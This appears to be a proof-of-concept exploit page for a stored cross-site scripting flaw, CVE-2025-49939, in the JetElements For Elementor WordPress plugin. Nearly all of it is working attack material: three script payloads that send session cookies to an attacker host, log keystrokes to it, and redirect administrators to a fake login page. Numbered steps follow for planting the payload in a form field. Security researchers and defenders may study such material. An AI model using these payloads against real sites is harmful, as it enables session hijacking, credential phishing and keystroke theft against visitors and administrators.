CVE-2025-49939: JetElements For Elementor插件存储型XSS漏洞

<!-- CVE-2025-49939 Stored XSS PoC for JetElements For Elementor --> <!-- This PoC demonstrates how to inject malicious JavaScript via vulnerable input field --> <!-- Inject the following payload into a vulnerable JetElements input field --> <script> // Steal session cookies var stolenCookies = document.cookie; // Send stolen data to attacker's server fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookies) + '&location=' + encodeURIComponent(window.location.href), { method: 'GET', mode: 'no-cors' }); // Alternative payload: Session hijacking console.log('Stolen session:', stolenCookies); </script> <!-- Alternative payload: Keylogger --> <script> document.onkeypress = function(e) { fetch('https://attacker.com/log?key=' + e.key); } </script> <!-- Alternative payload: DOM-based redirection --> <script> if (location.search.indexOf('admin') > -1) { // Redirect admin users to fake login page window.location.href = 'https://attacker.com/fake-login?ref=' + encodeURIComponent(window.location.href); } </script> <!-- Steps to exploit: --> <!-- 1. Identify a JetElements form or input field --> <!-- 2. Submit the malicious payload in the field --> <!-- 3. Payload gets stored in database --> <!-- 4. Any user viewing the page will execute the script -->